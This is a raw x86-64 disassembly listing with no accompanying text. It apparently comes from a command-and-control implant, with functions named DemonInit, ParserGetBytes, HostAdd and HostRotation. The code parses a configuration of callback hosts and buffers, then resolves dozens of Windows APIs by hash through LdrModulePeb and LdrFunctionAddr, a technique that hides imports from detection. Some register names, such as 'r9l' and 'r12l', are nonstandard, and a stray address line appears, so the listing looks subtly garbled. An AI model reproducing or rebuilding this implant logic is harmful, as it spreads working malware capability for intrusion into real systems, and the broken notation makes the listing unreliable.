14000f93cmov r9l, eax
14000f93fmov esi, eax
14000f941call printf
14000f946
14000f946loc_14000f946:
14000f946cmp esi, r12l
14000f949je 0x14000f99c
14000f94bmov rcx, [rsp+72]
14000f950mov rdx, rbp
14000f953call ParserGetBytes
14000f958mov rcx, [rsp+72]
14000f95dmov rdi, rax
14000f960call ParserGetInt32
14000f965lea rdx, [rip+0x1ce24]
14000f96cmov r9, rdi
14000f96fmov rcx, r13
14000f972mov [rsp+32], eax
14000f976mov r8l, 664
14000f97cmov r14l, eax
14000f97fcall printf
14000f984mov edx, [rsp+92]
14000f988test edx, edx
14000f98aje 0x14000f997
14000f98cmov r8l, r14l
14000f98fmov rcx, rdi
14000f992call HostAdd
14000f997
14000f997loc_14000f997:
14000f997inc r12l
14000f99ajmp 0x14000f946
14000f99c
14000f99cloc_14000f99c:
14000f99ccall HostCount
14000f9a1mov r8l, 673
14000f9a7lea rdx, [rip+0x1cde2]
14000f9aelea rcx, [rip+0x1bfa6]
14000f9b5mov r9l, eax
14000f9b8mov [rip+0x14aba], eax
14000f9belea r15, [rip+0x1c064]
14000f9c5call printf
14000f9camovsx ecx, [rip+0x14abf]
14000f9d1call HostRotation
14000f9d6mov r8l, 677
14000f9dclea rcx, [rip+0x1bf9b]
14000f9e3mov edx, [rax+8]
14000f9e6mov [rip+0x14a7b], rax
14000f9edmov [rsp+32], edx
14000f9f1mov r9, [rax]
14000f9f4lea rdx, [rip+0x1cd95]
14000f9fbcall printf
14000fa00mov rcx, [rsp+72]
14000fa05call ParserGetInt32
14000fa0alea r9, [rip+0x1bd74]
14000fa11mov r8l, 681
14000fa17lea rdx, [rip+0x1cd72]
14000fa1etest eax, eax
14000fa20mov [rip+0x14a74], eax
14000fa26lea rax, [rip+0x1bd53]
14000fa2dlea rcx, [rip+0x1bf7f]
14000fa34cmovne r9, rax
14000fa38xor ebx, ebx
14000fa3axor r14l, r14l
14000fa3dcall printf
14000fa42mov rcx, [rsp+72]
14000fa47mov rdx, rbp
14000fa4acall ParserGetBytes
14000fa4fmov rdx, [rip+0x15260]
14000fa56mov rsi, rax
14000fa59mov eax, [rsp+92]
14000fa5dmov rdx, [rdx+96]
14000fa61lea r8, [rax+2]
14000fa65mov rcx, [rdx+48]
14000fa69mov edx, 8
14000fa6ecall [rip+0x14ac8]
14000fa74mov ecx, [rsp+92]
14000fa78mov r8l, 687
14000fa7elea rdx, [rip+0x1cd0b]
14000fa85mov [rip+0x14a12], rax
14000fa8cmov rdi, rax
14000fa8frep movsb [rdi], [rsi]
14000fa91lea rcx, [rip+0x1bf40]
14000fa98mov r9, [rip+0x149ff]
14000fa9fcall printf
14000faa4mov rcx, [rsp+72]
14000faa9call ParserGetInt32
14000faaemov rdx, [rip+0x15201]
14000fab5lea r13l, [rax+1]
14000fab9mov r12l, eax
14000fabcmov rdx, [rdx+96]
14000fac0lea eax, [r13+r13]
14000fac5lea r8, [8*rax]
14000facdmov rcx, [rdx+48]
14000fad1mov edx, 8
14000fad6call [rip+0x14a60]
14000fadcmov r9l, r12l
14000fadfmov r8l, 692
14000fae5lea rdx, [rip+0x1cca4]
14000faeclea rcx, [rip+0x1bf0e]
14000faf3mov [rip+0x149b4], rax
14000fafacall printf
14000faff
14000faffloc_14000faff:
14000faffcmp ebx, r12l
14000fb02jae 0x14000fb98
14000fb08mov rcx, [rsp+72]
14000fb0dmov rdx, rbp
14000fb10call ParserGetBytes
14000fb15mov rdx, [rip+0x1519a]
14000fb1cmov rsi, rax
14000fb1fmov rax, [rip+0x14988]
14000fb26mov rdx, [rdx+96]
14000fb2alea rdi, [rax+8*rbx]
14000fb2emov eax, [rsp+92]
14000fb32mov rcx, [rdx+48]
14000fb36mov edx, 8
14000fb3blea r8, [rax+2]
14000fb3fcall [rip+0x149f7]
14000fb45mov ecx, [rsp+92]
14000fb49mov [rdi], rax
14000fb4cmov rax, [rip+0x1495b]
14000fb53mov rdi, [rax+8*rbx]
14000fb57mov eax, r14l
14000fb5arep stosb [rdi], al
14000fb5cmov rax, [rip+0x1494b]
14000fb63mov ecx, [rsp+92]
14000fb67mov r8l, 700
14000fb6dlea rdx, [rip+0x1cc1c]
14000fb74mov rax, [rax+8*rbx]
14000fb78mov rdi, rax
14000fb7brep movsb [rdi], [rsi]
14000fb7dmov rcx, r15
14000fb80mov rax, [rip+0x14927]
14000fb87mov r9, [rax+8*rbx]
14000fb8binc rbx
14000fb8ecall printf
14000fb93jmp 0x14000faff
14000fb98
14000fb98loc_14000fb98:
14000fb98mov rax, [rip+0x1490f]
14000fb9fxor r8l, r8l
14000fba2xor ebx, ebx
14000fba4xor r14l, r14l
14000fba7mov rcx, [rsp+72]
14000fbaclea r15, [rip+0x1be76]
14000fbb3mov [rax+8*r13], r8
14000fbb7call ParserGetInt32
14000fbbcmov rdx, [rip+0x150f3]
14000fbc3lea r13l, [rax+1]
14000fbc7mov r12l, eax
14000fbcamov rdx, [rdx+96]
14000fbcelea eax, [r13+r13]
14000fbd3lea r8, [8*rax]
14000fbdbmov rcx, [rdx+48]
14000fbdfmov edx, 8
14000fbe4call [rip+0x14952]
14000fbeamov r9l, r12l
14000fbedmov r8l, 708
14000fbf3lea rdx, [rip+0x1cb96]
14000fbfalea rcx, [rip+0x1be41]
14000fc01mov [rip+0x1489e], rax
14000fc08call printf
14000fc0d
14000fc0dloc_14000fc0d:
14000fc0dcmp ebx, r12l
14000fc10jae 0x14000fcaa
14000fc16mov rcx, [rsp+72]
14000fc1bmov rdx, rbp
14000fc1ecall ParserGetBytes
14000fc23mov rdx, [rip+0x1508c]
14000fc2amov rsi, rax
14000fc2dmov rax, [rip+0x14872]
14000fc34mov rdx, [rdx+96]
14000fc38lea rdi, [rax+8*rbx]
14000fc3cmov eax, [rsp+92]
14000fc40mov rcx, [rdx+48]
14000fc44mov edx, 8
14000fc49lea r8, [rax+2]
14000fc4dcall [rip+0x148e9]
14000fc53mov ecx, [rsp+92]
14000fc57mov [rdi], rax
14000fc5amov rax, [rip+0x14845]
14000fc61add rcx, 2
14000fc65mov rdi, [rax+8*rbx]
14000fc69mov eax, r14l
14000fc6crep stosb [rdi], al
14000fc6emov rax, [rip+0x14831]
14000fc75mov ecx, [rsp+92]
14000fc79mov r8l, 716
14000fc7flea rdx, [rip+0x1cb0a]
14000fc86mov rax, [rax+8*rbx]
14000fc8amov rdi, rax
14000fc8drep movsb [rdi], [rsi]
14000fc8fmov rcx, r15
14000fc92mov rax, [rip+0x1480d]
14000fc99mov r9, [rax+8*rbx]
14000fc9dinc rbx
14000fca0call printf
14000fca5jmp 0x14000fc0d
14000fcaa
14000fcaaloc_14000fcaa:
14000fcaamov rax, [rip+0x147f5]
14000fcb1xor ecx, ecx
14000fcb3mov [rax+8*r13], rcx
14000fcb7mov rcx, [rsp+72]
14000fcbccall ParserGetInt32
14000fcc1lea rcx, [rip+0x1bdb8]
14000fcc8test eax, eax
14000fccamov [rip+0x147e6], eax
14000fcd0je 0x14000fe2c
14000fcd6lea r9, [rip+0x1bd8a]
14000fcddmov r8l, 725
14000fce3lea rdx, [rip+0x1caa6]
14000fceacall printf
14000fcefmov rcx, [rsp+72]
14000fcf4mov rdx, rbp
14000fcf7call ParserGetBytes
14000fcfcmov rdx, [rip+0x14fb3]
14000fd03mov rsi, rax
14000fd06mov eax, [rsp+92]
14000fd0amov rdx, [rdx+96]
14000fd0elea r8, [rax+2]
14000fd12mov rcx, [rdx+48]
14000fd16mov edx, 8
14000fd1bcall [rip+0x1481b]
14000fd21mov ecx, [rsp+92]
14000fd25mov r8l, 729
14000fd2blea rdx, [rip+0x1ca5e]
14000fd32mov [rip+0x14781], rax
14000fd39mov rdi, rax
14000fd3crep movsb [rdi], [rsi]
14000fd3elea rcx, [rip+0x1bd4f]
14000fd45mov r9, [rip+0x1476e]
14000fd4ccall printf
14000fd51mov rcx, [rsp+72]
14000fd56mov rdx, rbp
14000fd59call ParserGetBytes
14000fd5emov r8l, [rsp+92]
14000fd63mov rsi, rax
14000fd66test r8l, r8l
14000fd69je 0x14000fdb7
14000fd6bmov rax, [rip+0x14f44]
14000fd72mov edx, 8
14000fd77mov rax, [rax+96]
14000fd7bmov rcx, [rax+48]
14000fd7fcall [rip+0x147b7]
14000fd85mov ecx, [rsp+92]
14000fd89mov r8l, 736
14000fd8flea rdx, [rip+0x1c9fa]
14000fd96mov [rip+0x14725], rax
14000fd9dmov rdi, rax
14000fda0rep movsb [rdi], [rsi]
14000fda2lea rcx, [rip+0x1bd16]
14000fda9mov r9, [rip+0x14712]
14000fdb0call printf
14000fdb5jmp 0x14000fdc0
14000fdb7
14000fdb7loc_14000fdb7:
14000fdb7xor edx, edx
14000fdb9mov [rip+0x14702], rdx
14000fdc0
14000fdc0loc_14000fdc0:
14000fdc0mov rcx, [rsp+72]
14000fdc5mov rdx, rbp
14000fdc8call ParserGetBytes
14000fdcdmov r8l, [rsp+92]
14000fdd2mov rsi, rax
14000fdd5test r8l, r8l
14000fdd8je 0x14000fe21
14000fddamov rax, [rip+0x14ed5]
14000fde1mov edx, 8
14000fde6mov rax, [rax+96]
14000fdeamov rcx, [rax+48]
14000fdeecall [rip+0x14748]
14000fdf4mov ecx, [rsp+92]
14000fdf8mov r8l, 746
14000fdfelea rdx, [rip+0x1c98b]
14000fe05mov [rip+0x146be], rax
14000fe0cmov rdi, rax
14000fe0frep movsb [rdi], [rsi]
14000fe11lea rcx, [rip+0x1bcd7]
14000fe18mov r9, [rip+0x146ab]
14000fe1fjmp 0x14000fe40
14000fe21
14000fe21loc_14000fe21:
14000fe21xor eax, eax
14000fe23mov [rip+0x146a0], rax
14000fe2ajmp 0x14000fe45
14000fe2c
14000fe2cloc_14000fe2c:
14000fe2clea r9, [rip+0x1bcec]
14000fe33mov r8l, 753
14000fe39lea rdx, [rip+0x1c950]
14000fe40
14000fe40loc_14000fe40:
14000fe40call printf
14000fe45
14000fe45loc_14000fe45:
14000fe45mov rax, [rip+0x146e0]
14000fe4cmov rcx, [rsp+72]
14000fe51mov [rip+0x146b5], 2
14000fe5badd rax, 18
14000fe5fmov [rip+0x1467e], rax
14000fe66call ParserDestroy
14000fe6badd rsp, 136
14000fe72pop rbx
14000fe73pop rsi
14000fe74pop rdi
14000fe75pop rbp
14000fe76pop r12
14000fe78pop r13
14000fe7apop r14
14000fe7cpop r15
14000fe7eret
14000f600
14000fe7f
14000fe7f // align 0x10
14000fe7f // align 0x10
14000fe80
14000fe80DemonInit:
14000fe80push r13
14000fe82xor eax, eax
14000fe84push r12
14000fe86mov r12, rdx
14000fe89push rbp
14000fe8amov rbp, rcx
14000fe8dmov ecx, 71
14000fe92push rdi
14000fe93push rsi
14000fe94lea rsi, [rip+0x142e5]
14000fe9bpush rbx
14000fe9csub rsp, 424
14000fea3lea rdi, [rsp+132]
14000feabrep stosd [rdi], eax
14000feadlea rdi, [rsp+32]
14000feb2mov ecx, 24
14000feb7rep movsd [rdi], [rsi]
14000feb9lea rdi, [rip+0x14540]
14000fec0mov ecx, 2350
14000fec5rep stosb [rdi], al
14000fec7lea rbx, [rip+0x1caa2]
14000fecelea rsi, [rip+0x1bbab]
14000fed5mov r8l, 287
14000fedblea r9, [rip+0x1bc57]
14000fee2mov rdx, rbx
14000fee5mov rcx, rsi
14000fee8mov rax, [0x30]
14000fef1mov [rip+0x14dbe], rax
14000fef8call printf
14000fefdmov ecx, 0x70e61753
14000ff02call LdrModulePeb
14000ff07mov [rip+0x14d30], rax
14000ff0etest rax, rax
14000ff11je 0x1400104b4
14000ff17mov rcx, rax
14000ff1amov edx, 0xfffffffffce76bb6
14000ff1flea rdi, [rsp+32]
14000ff24call LdrFunctionAddr
14000ff29mov rcx, [rip+0x14d0e]
14000ff30mov edx, 0xffffffff9e456a43
14000ff35mov [rip+0x145f8], rax
14000ff3ccall LdrFunctionAddr
14000ff41mov rcx, [rip+0x14cf6]
14000ff48mov edx, 0x3be94c5a
14000ff4dmov [rip+0x145d8], rax
14000ff54call LdrFunctionAddr
14000ff59mov rcx, [rip+0x14cde]
14000ff60mov edx, 0xffffffffaf740371
14000ff65mov [rip+0x145d0], rax
14000ff6ccall LdrFunctionAddr
14000ff71mov rcx, [rip+0x14cc6]
14000ff78mov edx, 0x73a9e4d7
14000ff7dmov [rip+0x145c0], rax
14000ff84call LdrFunctionAddr
14000ff89mov rcx, [rip+0x14cae]
14000ff90mov edx, 0x2f6db5e8
14000ff95mov [rip+0x145b0], rax
14000ff9ccall LdrFunctionAddr
14000ffa1mov rcx, [rip+0x14c96]
14000ffa8mov edx, 0x57c72f
14000ffadmov [rip+0x145b8], rax
14000ffb4call LdrFunctionAddr
14000ffb9mov rcx, [rip+0x14c7e]
14000ffc0mov edx, 0x7f1224f5
14000ffc5mov [rip+0x145a8], rax
14000ffcccall LdrFunctionAddr
14000ffd1mov rcx, [rip+0x14c66]
14000ffd8mov edx, 0x39d7c890
14000ffddmov [rip+0x14570], rax
14000ffe4call LdrFunctionAddr
14000ffe9mov rcx, [rip+0x14c4e]
14000fff0mov edx, 0xdde5cdd
14000fff5mov [rip+0x14560], rax
14000fffccall LdrFunctionAddr
140010001mov rcx, [rip+0x14c36]
140010008mov edx, 0x50ef3c31
14001000dmov [rip+0x14550], rax
140010014call LdrFunctionAddr
140010019mov rcx, [rip+0x14c1e]
140010020mov edx, 0x1877faec
140010025mov [rip+0x14568], rax
14001002ccall LdrFunctionAddr
140010031mov rcx, [rip+0x14c06]
140010038mov edx, 0xffffffffae92028e
14001003dmov [rip+0x14538], rax
140010044call LdrFunctionAddr
140010049mov rcx, [rip+0x14bee]
140010050mov edx, 0x600fe691
140010055mov [rip+0x14530], rax
14001005ccall LdrFunctionAddr
140010061mov rcx, [rip+0x14bd6]
140010068mov edx, 0xffffffffeec188b0
14001006dmov [rip+0x14510], rax
140010074call LdrFunctionAddr
140010079mov rcx, [rip+0x14bbe]
140010080mov edx, 0xffffffffeba8d910
140010085mov [rip+0x14510], rax
14001008ccall LdrFunctionAddr
140010091mov rcx, [rip+0x14ba6]
140010098mov edx, 0x2df06c89
14001009dmov [rip+0x14500], rax
1400100a4call LdrFunctionAddr
1400100a9mov rcx, [rip+0x14b8e]
1400100b0mov edx, 0xffffffffad1b018e
1400100b5mov [rip+0x144f0], rax
1400100bccall LdrFunctionAddr
1400100c1mov rcx, [rip+0x14b76]
1400100c8mov edx, 0x5b56b302
1400100cdmov [rip+0x144e0], rax
1400100d4call LdrFunctionAddr
1400100d9mov rcx, [rip+0x14b5e]
1400100e0mov edx, 0x40d6e69d
1400100e5mov [rip+0x144d0], rax
1400100eccall LdrFunctionAddr
1400100f1mov rcx, [rip+0x14b46]
1400100f8mov edx, 0x28d3233d
1400100fdmov [rip+0x144c0], rax
140010104call LdrFunctionAddr
140010109mov rcx, [rip+0x14b2e]
140010110mov edx, 0xffffffffcb87d8b5
140010115mov [rip+0x14518], rax
14001011ccall LdrFunctionAddr
140010121mov rcx, [rip+0x14b16]
140010128mov edx, 0xc3c03f1
14001012dmov [rip+0x14498], rax
140010134call LdrFunctionAddr
140010139mov rcx, [rip+0x14afe]
140010140mov edx, 0xffffffff946ac239
140010145mov [rip+0x14488], rax
14001014ccall LdrFunctionAddr
140010151mov rcx, [rip+0x14ae6]
140010158mov edx, 0xffffffffa410fb9e
14001015dmov [rip+0x14478], rax
140010164call LdrFunctionAddr
140010169mov rcx, [rip+0x14ace]
140010170mov edx, 0x4b82f718
140010175mov [rip+0x14468], rax
14001017ccall LdrFunctionAddr
140010181mov rcx, [rip+0x14ab6]
140010188mov edx, 0x4ed9dd4f
14001018dmov [rip+0x14470], rax
140010194call LdrFunctionAddr
140010199mov rcx, [rip+0x14a9e]
1400101a0mov edx, 0xffffffff8cdc5dc2
1400101a5mov [rip+0x14450], rax
1400101accall LdrFunctionAddr
1400101b1mov rcx, [rip+0x14a86]
1400101b8mov edx, 0x7bc23928
1400101bdmov [rip+0x14498], rax
1400101c4call LdrFunctionAddr
1400101c9mov rcx, [rip+0x14a6e]
1400101d0mov edx, 0xfffffffff783b8ec
1400101d5mov [rip+0x14488], rax
1400101dccall LdrFunctionAddr
1400101e1mov rcx, [rip+0x14a56]
1400101e8mov edx, 0xa6664b8
1400101edmov [rip+0x14488], rax
1400101f4call LdrFunctionAddr
1400101f9mov rcx, [rip+0x14a3e]
140010200mov edx, 0xffffffff968e0cb1
140010205mov [rip+0x14410], rax
14001020ccall LdrFunctionAddr
140010211mov rcx, [rip+0x14a26]
140010218mov edx, 0xffffffff803347d2
14001021dmov [rip+0x143c8], rax
140010224call LdrFunctionAddr
140010229mov rcx, [rip+0x14a0e]
140010230mov edx, 0x5a4bc3d0
140010235mov [rip+0x143b8], rax
14001023ccall LdrFunctionAddr
140010241mov rcx, [rip+0x149f6]
140010248mov edx, 0xffffffffe43d93e1
14001024dmov [rip+0x143d8], rax
140010254call LdrFunctionAddr
140010259mov rcx, [rip+0x149de]
140010260mov edx, 0x28d3233d
140010265mov [rip+0x143b8], rax
14001026ccall LdrFunctionAddr
140010271mov rcx, [rip+0x149c6]
140010278mov edx, 0x4441d859
14001027dmov [rip+0x143b0], rax
140010284call LdrFunctionAddr
140010289mov rcx, [rip+0x149ae]
140010290mov edx, 0x6d22f884
140010295mov [rip+0x143a8], rax
14001029ccall LdrFunctionAddr
1400102a1mov rcx, [rip+0x14996]
1400102a8mov edx, 0xffffffffffa0bf10
1400102admov [rip+0x14398], rax
1400102b4call LdrFunctionAddr
1400102b9mov rcx, [rip+0x1497e]
1400102c0mov edx, 0xffffffffe8ac0c3c
1400102c5mov [rip+0x14388], rax
1400102cccall LdrFunctionAddr
1400102d1mov rcx, [rip+0x14966]
1400102d8mov edx, 0x5ba11e28
1400102ddmov [rip+0x14388], rax
1400102e4call LdrFunctionAddr
1400102e9mov rcx, [rip+0x1494e]
1400102f0mov edx, 0x78983aed
1400102f5mov [rip+0x143c0], rax
1400102fccall LdrFunctionAddr
140010301mov rcx, [rip+0x14936]
140010308mov edx, 0xffffffff858a32df
14001030dmov [rip+0x143b0], rax
140010314call LdrFunctionAddr
140010319mov rcx, [rip+0x1491e]
140010320mov edx, 0xffffffffaf18cfb0
140010325mov [rip+0x14348], rax
14001032ccall LdrFunctionAddr
140010331mov rcx, [rip+0x14906]
140010338mov edx, 0x350dca99
14001033dmov [rip+0x142f8], rax
140010344call LdrFunctionAddr
140010349mov rcx, [rip+0x148ee]
140010350mov edx, 0xffffffff8e160b23
140010355mov [rip+0x142b0], rax
14001035ccall LdrFunctionAddr
140010361mov rcx, [rip+0x148d6]
140010368mov edx, 0x50e92888
14001036dmov [rip+0x142a0], rax
140010374call LdrFunctionAddr
140010379mov rcx, [rip+0x148be]
140010380mov edx, 0xffffffffccf58808
140010385mov [rip+0x14318], rax
14001038ccall LdrFunctionAddr
140010391mov rcx, [rip+0x148a6]
140010398mov edx, 0xffffffffc3170192
14001039dmov [rip+0x14308], rax
1400103a4call LdrFunctionAddr
1400103a9mov rcx, [rip+0x1488e]
1400103b0mov edx, 0xfffffffffc3a6c2c
1400103b5mov [rip+0x142c8], rax
1400103bccall LdrFunctionAddr
1400103c1mov rcx, [rip+0x14876]
1400103c8mov edx, 0xffffffffa3288103
1400103cdmov [rip+0x142e0], rax
1400103d4call LdrFunctionAddr
1400103d9mov rcx, [rip+0x1485e]
1400103e0mov edx, 0x2802c609
1400103e5mov [rip+0x142a0], rax
1400103eccall LdrFunctionAddr
1400103f1mov rcx, [rip+0x14846]
1400103f8mov edx, 0x6aa412cd
1400103fdmov [rip+0x14290], rax
140010404call LdrFunctionAddr
140010409mov rcx, [rip+0x1482e]
140010410mov edx, 0x10c0e85d
140010415mov [rip+0x14280], rax
14001041ccall LdrFunctionAddr
140010421mov rcx, [rip+0x14816]
140010428mov edx, 0xf371fe4
14001042dmov [rip+0x14298], rax
140010434call LdrFunctionAddr
140010439mov rcx, [rip+0x147fe]
140010440mov edx, 0xfffffffff5a0461b
140010445mov [rip+0x14288], rax
14001044ccall LdrFunctionAddr
140010451mov rcx, [rip+0x147e6]
140010458mov edx, 0xffffffffc85dc9b4
14001045dmov [rip+0x14278], rax
140010464call LdrFunctionAddr
140010469mov rcx, [rip+0x147ce]
140010470mov edx, 0x70c25cd8
140010475mov [rip+0x14268], rax
14001047ccall LdrFunctionAddr
140010481xor r9l, r9l
140010484lea rcx, [rsp+132]
14001048cmov [rsp+132], 284
140010497mov [rip+0x1424e], rax
14001049emov [rip+0x13fb7], r9l
1400104a5call [rip+0x140b9]
1400104abtest eax, eax
1400104adjns 0x1400104c6
1400104afjmp 0x140010584
1400104b4
1400104b4loc_1400104b4:
1400104b4lea r9, [rip+0x1b68d]
1400104bbmov r8l, 361
1400104c1jmp 0x140010bc9
1400104c6
1400104c6loc_1400104c6:
1400104c6mov eax, [rsp+136]
1400104cdcmp eax, 4
1400104d0jbe 0x140010584
1400104d6cmp eax, 5
1400104d9jne 0x1400104f8
1400104dbcmp [rsp+140], 1
1400104e3jne 0x140010584
1400104e9mov [rip+0x13f69], 1
1400104f3jmp 0x140010584
1400104f8
1400104f8loc_1400104f8:
1400104f8cmp eax, 6
1400104fbjne 0x14001055f
1400104fdmov edx, [rsp+140]
140010504test edx, edx
140010506jne 0x14001051a
140010508xor eax, eax
14001050acmp [rsp+414], 1
140010512setne al
140010515add eax, 2
140010518jmp 0x14001057e
14001051a
14001051aloc_14001051a:
14001051acmp edx, 1
14001051djne 0x140010531
14001051fcmp [rsp+414], 1
140010527mov edx, 4
14001052ccmove eax, edx
14001052fjmp 0x14001057e
140010531
140010531loc_140010531:
140010531cmp edx, 2
140010534jne 0x140010548
140010536xor eax, eax
140010538cmp [rsp+414], 1
140010540sete al
140010543add eax, 7
140010546jmp 0x14001057e
140010548
140010548loc_140010548:
140010548cmp edx, 3
14001054bjne 0x140010584
14001054dxor eax, eax
14001054fcmp [rsp+414], 1
140010557setne al
14001055aadd eax, 8
14001055djmp 0x14001057e
14001055f
14001055floc_14001055f:
14001055fcmp eax, 10
140010562jne 0x140010584
140010564cmp [rsp+140], 0
14001056cjne 0x140010584
14001056ecmp [rsp+414], 1
140010576mov edx, 11
14001057bcmovne eax, edx
14001057e
14001057eloc_14001057e:
14001057emov [rip+0x13ed8], eax
140010584
140010584loc_140010584:
140010584mov r9l, [rip+0x13ed1]
14001058bmov r8l, 390
140010591mov rdx, rbx
140010594lea rcx, [rip+0x1b5cb]
14001059bcall printf
1400105a0mov ecx, 0xffffffffadd31df0
1400105a5call LdrModulePeb
1400105aamov [rip+0x14695], rax
1400105b1mov rcx, rax
1400105b4test rax, rax
1400105b7je 0x140010b6e
1400105bdmov edx, 0xffffffffb7072ff1
1400105c2call LdrFunctionAddr
1400105c7mov rcx, [rip+0x14678]
1400105cemov edx, 0x5b6b908a
1400105d3mov [rip+0x1411a], rax
1400105dacall LdrFunctionAddr
1400105dfmov rcx, [rip+0x14660]
1400105e6mov edx, 0xffffffffe857500d
1400105ebmov [rip+0x141ea], rax
1400105f2call LdrFunctionAddr
1400105f7mov rcx, [rip+0x14648]
1400105femov edx, 0x72073b5b
140010603mov [rip+0x1411a], rax
14001060acall LdrFunctionAddr
14001060fmov rcx, [rip+0x14630]
140010616mov edx, 0x1c44e892
14001061bmov [rip+0x14182], rax
140010622call LdrFunctionAddr
140010627mov rcx, [rip+0x14618]
14001062emov edx, 0x32030e92
140010633mov [rip+0x1417a], rax
14001063acall LdrFunctionAddr
14001063fmov rcx, [rip+0x14600]
140010646mov edx, 0x252b157d
14001064bmov [rip+0x1415a], rax
140010652call LdrFunctionAddr
140010657mov rcx, [rip+0x145e8]
14001065emov edx, 0xfffffffff37ac035
140010663mov [rip+0x14092], rax
14001066acall LdrFunctionAddr
14001066fmov rcx, [rip+0x145d0]
140010676mov edx, 0xffffffffb06fa1a8
14001067bmov [rip+0x14082], rax
140010682call LdrFunctionAddr
140010687mov rcx, [rip+0x145b8]
14001068emov edx, 0x43f6e75f
140010693mov [rip+0x14072], rax
14001069acall LdrFunctionAddr
14001069fmov rcx, [rip+0x145a0]
1400106a6mov edx, 0xffffffff9694e9e7
1400106abmov [rip+0x14062], rax
1400106b2call LdrFunctionAddr
1400106b7mov rcx, [rip+0x14588]
1400106bemov edx, 0xfffffffffbaf90cf
1400106c3mov [rip+0x140c2], rax
1400106cacall LdrFunctionAddr
1400106cfmov rcx, [rip+0x14570]
1400106d6mov edx, 0xffffffffa6a2249d
1400106dbmov [rip+0x140da], rax
1400106e2call LdrFunctionAddr
1400106e7mov rcx, [rip+0x14558]
1400106eemov edx, 0x687d2110
1400106f3mov [rip+0x1403a], rax
1400106facall LdrFunctionAddr
1400106ffmov rcx, [rip+0x14540]
140010706mov edx, 0x7b813820
14001070bmov [rip+0x1401a], rax
140010712call LdrFunctionAddr
140010717mov rcx, [rip+0x14528]
14001071emov edx, 0x60afc95d
140010723mov [rip+0x14012], rax
14001072acall LdrFunctionAddr
14001072fmov rcx, [rip+0x14510]
140010736mov edx, 0xffffffffa05e2a83
14001073bmov [rip+0x14002], rax
140010742call LdrFunctionAddr
140010747mov rcx, [rip+0x144f8]
14001074emov edx, 0x11b30049
140010753mov [rip+0x13ff2], rax
14001075acall LdrFunctionAddr
14001075fmov rcx, [rip+0x144e0]
140010766mov edx, 0x7b94a3fe
14001076bmov [rip+0x1426a], rax
140010772call LdrFunctionAddr
140010777mov rcx, [rip+0x144c8]
14001077emov edx, 0xffffffff84d15061
140010783mov [rip+0x14262], rax
14001078acall LdrFunctionAddr
14001078fmov rcx, [rip+0x144b0]
140010796mov edx, 0x5775bd54
14001079bmov [rip+0x13ff2], rax
1400107a2call LdrFunctionAddr
1400107a7mov rcx, [rip+0x14498]
1400107aemov edx, 0x512e1b97
1400107b3mov [rip+0x13f62], rax
1400107bacall LdrFunctionAddr
1400107bfmov rcx, [rip+0x14480]
1400107c6mov edx, 0xffffffffec725c53
1400107cbmov [rip+0x142ca], rax
1400107d2call LdrFunctionAddr
1400107d7mov rcx, [rip+0x14468]
1400107demov edx, 0xffffffffa7c5fd39
1400107e3mov [rip+0x13fb2], rax
1400107eacall LdrFunctionAddr
1400107efmov rcx, [rip+0x14450]
1400107f6mov edx, 0x538852b2
1400107fbmov [rip+0x13fc2], rax
140010802call LdrFunctionAddr
140010807mov rcx, [rip+0x14438]
14001080emov edx, 0xfffffffff3c179ad
140010813mov [rip+0x13fb2], rax
14001081acall LdrFunctionAddr
14001081fmov rcx, [rip+0x14420]
140010826mov edx, 0xffffffffd139cc66
14001082bmov [rip+0x13fa2], rax
140010832call LdrFunctionAddr
140010837mov rcx, [rip+0x14408]
14001083emov edx, 0x14fc3cc2
140010843mov [rip+0x1418a], rax
14001084acall LdrFunctionAddr
14001084fmov rcx, [rip+0x143f0]
140010856mov edx, 0xffffffff99beb7a0
14001085bmov [rip+0x14182], rax
140010862call LdrFunctionAddr
140010867mov rcx, [rip+0x143d8]
14001086emov edx, 0x3c2fba83
140010873mov [rip+0x1417a], rax
14001087acall LdrFunctionAddr
14001087fmov rcx, [rip+0x143c0]
140010886mov edx, 0xffffffffa4e66f3a
14001088bmov [rip+0x141d2], rax
140010892call LdrFunctionAddr
140010897mov rcx, [rip+0x143a8]
14001089emov edx, 0xc2c4270
1400108a3mov [rip+0x141c2], rax
1400108aacall LdrFunctionAddr
1400108afmov rcx, [rip+0x14390]
1400108b6mov edx, 0xffffffff9ab85b1c
1400108bbmov [rip+0x141b2], rax
1400108c2call LdrFunctionAddr
1400108c7mov rcx, [rip+0x14378]
1400108cemov edx, 0xffffffffe620bba8
1400108d3mov [rip+0x141aa], rax
1400108dacall LdrFunctionAddr
1400108dfmov rcx, [rip+0x14360]
1400108e6mov edx, 0x50ac3c84
1400108ebmov [rip+0x1419a], rax
1400108f2call LdrFunctionAddr
1400108f7mov rcx, [rip+0x14348]
1400108femov edx, 0xffffffffd5312e5d
140010903mov [rip+0x13e4a], rax
14001090acall LdrFunctionAddr
14001090fmov rcx, [rip+0x14330]
140010916mov edx, 0x342bd542
14001091bmov [rip+0x13e3a], rax
140010922call LdrFunctionAddr
140010927mov rcx, [rip+0x14318]
14001092emov edx, 0xfffffffff1d207d0
140010933mov [rip+0x13e2a], rax
14001093acall LdrFunctionAddr
14001093fmov rcx, [rip+0x14300]
140010946mov edx, 0x436e4c62
14001094bmov [rip+0x13e1a], rax
140010952call LdrFunctionAddr
140010957mov rcx, [rip+0x142e8]
14001095emov edx, 0x4ad9b11c
140010963mov [rip+0x13e0a], rax
14001096acall LdrFunctionAddr
14001096fmov rcx, [rip+0x142d0]
140010976mov edx, 0x3d54a9f4
14001097bmov [rip+0x13dfa], rax
140010982call LdrFunctionAddr
140010987mov rcx, [rip+0x142b8]
14001098emov edx, 0xfffffffff30aab23
140010993mov [rip+0x13e4a], rax
14001099acall LdrFunctionAddr
14001099fmov rcx, [rip+0x142a0]
1400109a6mov edx, 0xfffffffff67b31a5
1400109abmov [rip+0x13e72], rax
1400109b2call LdrFunctionAddr
1400109b7mov rcx, [rip+0x14288]
1400109bemov edx, 0x3626633c
1400109c3mov [rip+0x13e22], rax
1400109cacall LdrFunctionAddr
1400109cfmov rcx, [rip+0x14270]
1400109d6mov edx, 0x42ade43c
1400109dbmov [rip+0x13e12], rax
1400109e2call LdrFunctionAddr
1400109e7mov rcx, [rip+0x14258]
1400109eemov edx, 0x7a047cab
1400109f3mov [rip+0x13e32], rax
1400109facall LdrFunctionAddr
1400109ffmov rcx, [rip+0x14240]
140010a06mov edx, 0x77b0aa6a
140010a0bmov [rip+0x13e22], rax
140010a12call LdrFunctionAddr
140010a17mov rcx, [rip+0x14228]
140010a1emov edx, 0xffffffffb6af709f
140010a23mov [rip+0x13e12], rax
140010a2acall LdrFunctionAddr
